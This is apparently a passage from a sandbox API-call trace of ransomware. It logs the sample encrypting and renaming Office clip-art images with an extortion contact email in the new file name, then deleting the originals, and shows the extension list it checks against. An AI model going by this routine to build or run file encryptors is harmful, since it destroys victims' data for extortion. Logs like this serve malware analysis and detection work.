	[0165.774] WriteFile (in: hFile=0x4a8, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x2380, lpOverlapped=0x0) returned 1
	[0165.776] ReadFile (in: hFile=0x3e0, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.776] WriteFile (in: hFile=0x4a8, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.776] SetEndOfFile (hFile=0x4a8) returned 1
	[0165.975] CloseHandle (hObject=0x4a8) returned 1
	[0166.032] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.032] SetEndOfFile (hFile=0x3e0) returned 1
	[0166.038] CloseHandle (hObject=0x3e0) returned 1
	[0166.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.699] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 1
	[0166.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0166.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0166.700] lstrlenW (lpString=".doc") returned 4
	[0166.700] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0166.700] lstrlenW (lpString=".docx") returned 5
	[0166.700] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0166.700] lstrlenW (lpString=".pdf") returned 4
	[0166.700] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0166.700] lstrlenW (lpString=".xls") returned 4
	[0166.700] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0166.700] lstrlenW (lpString=".xlsx") returned 5
	[0166.700] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0166.700] lstrlenW (lpString=".ppt") returned 4
	[0166.700] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0166.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0166.700] lstrlenW (lpString=".zip") returned 4
	[0166.700] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0166.700] lstrlenW (lpString=".rar") returned 4
	[0166.700] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0166.700] lstrlenW (lpString=".bz2") returned 4
	[0166.700] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0166.700] lstrlenW (lpString=".7z") returned 3
	[0166.700] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0166.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0166.700] lstrlenW (lpString=".dbf") returned 4
	[0166.700] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0166.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0166.700] lstrlenW (lpString=".1cd") returned 4
	[0166.700] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0166.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0166.700] lstrlenW (lpString=".jpg") returned 4
	[0166.701] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0166.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0166.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0166.701] lstrlenW (lpString=".doc") returned 4
	[0166.701] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0166.701] lstrlenW (lpString=".docx") returned 5
	[0166.701] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0166.701] lstrlenW (lpString=".pdf") returned 4
	[0166.701] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0166.701] lstrlenW (lpString=".xls") returned 4
	[0166.701] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0166.701] lstrlenW (lpString=".xlsx") returned 5
	[0166.701] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0166.701] lstrlenW (lpString=".ppt") returned 4
	[0166.701] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0166.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0166.701] lstrlenW (lpString=".zip") returned 4
	[0166.701] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0166.701] lstrlenW (lpString=".rar") returned 4
	[0166.701] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0166.701] lstrlenW (lpString=".bz2") returned 4
	[0166.701] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0166.701] lstrlenW (lpString=".7z") returned 3
	[0166.701] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0166.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0166.701] lstrlenW (lpString=".dbf") returned 4
	[0166.701] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0166.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0166.701] lstrlenW (lpString=".1cd") returned 4
	[0166.701] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0166.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0166.701] lstrlenW (lpString=".jpg") returned 4
	[0166.701] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0166.702] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0166.702] lstrlenW (lpString="J0099196.GIF") returned 12
	[0166.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0166.702] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=14337) returned 1
	[0166.702] CloseHandle (hObject=0x4cc) returned 1
	[0166.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 0x220
	[0166.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0166.703] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.703] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0166.704] GetLastError () returned 0x0
	[0166.704] ReadFile (in: hFile=0x4cc, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x3801, lpOverlapped=0x0) returned 1
	[0166.713] WriteFile (in: hFile=0x47c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x3810, lpOverlapped=0x0) returned 1
	[0166.716] ReadFile (in: hFile=0x4cc, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.716] WriteFile (in: hFile=0x47c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.716] SetEndOfFile (hFile=0x47c) returned 1
	[0166.726] CloseHandle (hObject=0x47c) returned 1
	[0166.726] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.726] SetEndOfFile (hFile=0x4cc) returned 1
	[0166.734] CloseHandle (hObject=0x4cc) returned 1
	[0166.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 1
	[0167.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0167.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0167.441] lstrlenW (lpString=".doc") returned 4
	[0167.444] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0167.444] lstrlenW (lpString=".docx") returned 5
	[0167.445] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1
	[0167.445] lstrlenW (lpString=".pdf") returned 4
	[0167.445] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0167.447] lstrlenW (lpString=".xls") returned 4
	[0167.447] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0167.447] lstrlenW (lpString=".xlsx") returned 5
	[0167.447] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1
	[0167.447] lstrlenW (lpString=".ppt") returned 4
	[0167.447] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0167.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0167.447] lstrlenW (lpString=".zip") returned 4
	[0167.447] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0167.447] lstrlenW (lpString=".rar") returned 4
	[0167.447] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0167.447] lstrlenW (lpString=".bz2") returned 4
	[0167.447] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0167.447] lstrlenW (lpString=".7z") returned 3
	[0167.447] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0167.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0167.450] lstrlenW (lpString=".dbf") returned 4
	[0167.450] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0167.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0167.452] lstrlenW (lpString=".1cd") returned 4
	[0167.452] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0167.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0167.456] lstrlenW (lpString=".jpg") returned 4
	[0167.460] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0167.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0167.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0167.460] lstrlenW (lpString=".doc") returned 4
	[0167.460] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0167.460] lstrlenW (lpString=".docx") returned 5
	[0167.460] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1
	[0167.460] lstrlenW (lpString=".pdf") returned 4
	[0167.460] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0167.461] lstrlenW (lpString=".xls") returned 4
	[0167.461] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0167.461] lstrlenW (lpString=".xlsx") returned 5
	[0167.461] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1
	[0167.461] lstrlenW (lpString=".ppt") returned 4
	[0167.461] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0167.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0167.461] lstrlenW (lpString=".zip") returned 4
	[0167.461] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0167.461] lstrlenW (lpString=".rar") returned 4
	[0167.462] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0167.462] lstrlenW (lpString=".bz2") returned 4
	[0167.462] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0167.462] lstrlenW (lpString=".7z") returned 3
	[0167.462] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0167.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0167.462] lstrlenW (lpString=".dbf") returned 4
	[0167.462] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0167.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0167.463] lstrlenW (lpString=".1cd") returned 4
	[0167.463] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0167.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0167.463] lstrlenW (lpString=".jpg") returned 4
	[0167.463] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0167.465] lstrcmpiW (lpString1=".BMP", lpString2=".Z9") returned -1
	[0167.466] lstrlenW (lpString="J0101859.BMP") returned 12
	[0167.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0167.469] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=31968) returned 1
	[0167.469] CloseHandle (hObject=0x470) returned 1
	[0167.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 0x220
	[0167.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0167.470] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.470] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0167.471] GetLastError () returned 0x0
	[0167.471] ReadFile (in: hFile=0x470, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x7ce0, lpOverlapped=0x0) returned 1
	[0167.474] WriteFile (in: hFile=0x3e0, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x7cf0, lpOverlapped=0x0) returned 1
	[0167.475] ReadFile (in: hFile=0x470, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.475] WriteFile (in: hFile=0x3e0, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.476] SetEndOfFile (hFile=0x3e0) returned 1
	[0167.476] CloseHandle (hObject=0x3e0) returned 1
	[0167.476] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.476] SetEndOfFile (hFile=0x470) returned 1
	[0167.479] CloseHandle (hObject=0x470) returned 1
	[0167.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.479] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 1
	[0167.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0167.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0167.480] lstrlenW (lpString=".doc") returned 4
	[0167.480] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0167.480] lstrlenW (lpString=".docx") returned 5
	[0167.480] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1
	[0167.480] lstrlenW (lpString=".pdf") returned 4
	[0167.480] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0167.480] lstrlenW (lpString=".xls") returned 4
	[0167.480] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0167.480] lstrlenW (lpString=".xlsx") returned 5
	[0167.480] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1
	[0167.480] lstrlenW (lpString=".ppt") returned 4
	[0167.481] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0167.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0167.481] lstrlenW (lpString=".zip") returned 4
	[0167.481] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0167.481] lstrlenW (lpString=".rar") returned 4
	[0167.481] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0167.481] lstrlenW (lpString=".bz2") returned 4
	[0167.481] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0167.481] lstrlenW (lpString=".7z") returned 3
	[0167.481] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0167.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0167.481] lstrlenW (lpString=".dbf") returned 4
	[0167.481] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0167.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0167.481] lstrlenW (lpString=".1cd") returned 4
	[0167.481] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0167.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0167.481] lstrlenW (lpString=".jpg") returned 4
	[0167.481] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0167.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0167.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0167.481] lstrlenW (lpString=".doc") returned 4
	[0167.481] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0167.481] lstrlenW (lpString=".docx") returned 5
	[0167.481] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1
	[0167.481] lstrlenW (lpString=".pdf") returned 4
	[0167.481] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0167.481] lstrlenW (lpString=".xls") returned 4
	[0167.481] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0167.481] lstrlenW (lpString=".xlsx") returned 5
	[0167.481] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1
	[0167.481] lstrlenW (lpString=".ppt") returned 4
	[0167.481] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0167.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0167.482] lstrlenW (lpString=".zip") returned 4
	[0167.482] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0167.482] lstrlenW (lpString=".rar") returned 4
	[0167.482] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0167.482] lstrlenW (lpString=".bz2") returned 4
	[0167.482] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0167.482] lstrlenW (lpString=".7z") returned 3
	[0167.482] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0167.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0167.482] lstrlenW (lpString=".dbf") returned 4
	[0167.482] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0167.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0167.482] lstrlenW (lpString=".1cd") returned 4
	[0167.482] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0167.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0167.482] lstrlenW (lpString=".jpg") returned 4
	[0167.482] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0167.482] lstrcmpiW (lpString1=".BMP", lpString2=".Z9") returned -1
	[0167.482] lstrlenW (lpString="J0101860.BMP") returned 12
	[0167.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0167.483] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=32184) returned 1
	[0167.484] CloseHandle (hObject=0x470) returned 1
	[0167.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 0x220
	[0167.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0167.484] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.484] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0167.485] GetLastError () returned 0x0
	[0167.485] ReadFile (in: hFile=0x470, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x7db8, lpOverlapped=0x0) returned 1
